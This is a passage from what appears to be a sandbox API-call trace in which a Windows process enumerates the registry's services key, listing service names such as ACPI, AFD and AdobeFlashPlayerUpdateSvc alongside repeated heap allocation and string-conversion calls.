lpUsedDefaultChar=0x0) returned 8 [0250.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0250.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.859] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0250.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0250.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.860] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0250.860] RegCloseKey (hKey=0x14c) returned 0x0 [0250.860] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0250.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0250.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1cd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0250.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.860] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0250.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0250.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1da8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0250.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.861] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0250.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0250.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1cd0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0250.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.861] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0250.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0250.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1da8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0250.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.861] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0250.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0250.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1cd0, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0250.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.861] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0250.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0250.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1da8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0250.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.862] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0250.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0250.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1cd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0250.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.862] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0250.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0250.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.862] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0250.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0250.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0250.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.863] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0250.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0250.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.863] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0250.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0250.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1cd0, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0250.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.863] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0250.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0250.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.863] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0250.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0250.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.864] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0250.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0250.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.864] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0250.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0250.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0250.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.864] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0250.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0250.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1da8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0250.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.865] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0250.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0250.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.865] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0250.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0250.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.865] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0250.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1cd0, 